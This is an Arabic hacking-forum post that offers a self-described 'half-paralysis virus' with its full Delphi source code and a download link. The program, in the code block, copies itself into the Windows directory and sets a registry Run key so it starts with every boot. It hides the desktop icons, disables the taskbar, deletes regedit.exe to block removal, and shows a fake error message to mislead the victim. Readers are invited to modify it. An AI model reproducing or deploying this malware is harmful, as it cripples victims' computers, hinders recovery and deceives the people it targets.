جنـرال الـهكـر
السٌّمعَة : 4 تاريخ التسجيل : 20/04/2014 الموقع : https://sadam-alsharabi.roo7.biz
| موضوع: حصريا ... فيروس الشلل النصفي + الكود الخاص به ... هنـــــــــــــــــــا الإثنين مايو 12, 2014 11:30 am | |
| السلام عليكم و رحمة الله تعالى و بركاته يبدو أني غبت طويلا في الفترة الأخيرة نظرا لانشغالي بالإمتحانات التي انتهت منذ يومين فقط و ها أنا أعود اليوم جالبا معي فيروس أو سمه برنامج مصمم بالدلفي يقوم بشل النظام جزئيا إذ أنه يعمل على : -إخفاء كافة الأيقونات من سطح المكتب. -شل شريط المهام. -حذف ملف محرر الريجيستري حتى يمنع إمكانية إيقاف البرنامج. -إخفاء ملف البرنامج في مجلد لا يخطر على البال. *شرح مبدأعمل البرنامج: بمجرد تشغيله راح يطلعلك رسالة خطأ وهمية صادرة من البرنامج نفسه ... إذ يكون البرنامج في هذا الحين قد أنشأ قيمة في الريجيستري و قام بنسخ نفسه في مجلد معين ... لا تتسرع لن يظهر المفعول إلا بعد إعادة التشغيل ... و سيستمر الفيروس في العمل مع كل بداية تشغيل ... حتى إعادة فرمتة الجهاز من جديد . على كل هاهو كود البرنامج أمامكم ... و كل من أراد أن يغير فيه شيئا فليفعل ... و لكن هذا ليس معناه أن يضع إسمه أو شيء من هذا القبيل بل أقصد بذلك فتح مجال للإبداع: - الكود:
-
program bac2007; uses Forms,windows; {$R *.res} function getwindir:pchar; var p:packed array[0..255] of char; begin getwindowsdirectory(p,255); Result:=p; end; procedure Run; var return:hkey; dir:pchar; begin dir:=pchar(getwindir+ '\web\help.exe'); Regcreatekey(hkey_local_machine,'software\microsoft\windows\currentversion\run',return); Regsetvalueex(return,'Blacksol',0,reg_sz,dir,length(string(dir))); Regclosekey(return); end; procedure todo1; var Wnd: THandle; begin wnd:=findwindow('Progman',nil); wnd:= FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil); ShowWindow(Wnd, sw_hide); end; procedure todo2; var panel:thandle; ewindow:longbool; begin panel:=findwindow('Shell_traywnd',nil); if panel<>0 then begin ewindow:=iswindowenabled(panel); if ewindow=true then enablewindow(panel,false); end; end; procedure kernel; var cdir:string; begin cdir:=application.ExeName; if cdir = (getwindir+ '\web\help.exe') then begin todo1; todo2; end else begin copyfile(pchar(cdir),pchar(getwindir+ '\web\help.exe'),false); deletefile(pchar(getwindir + '\regedit.exe')); run; messagebox(application.Handle,pchar('An error has curred in ' + application.exename),'Error',0); end; end; begin Application.Initialize; Application.Title := 'The sucsess'; Application.Run; kernel; end.
* و للتحميل ... إضفط هنا و لا تنسونا بالردود و الدعاء للنجاح ... و السلام عليكم و رحمة الله | |
|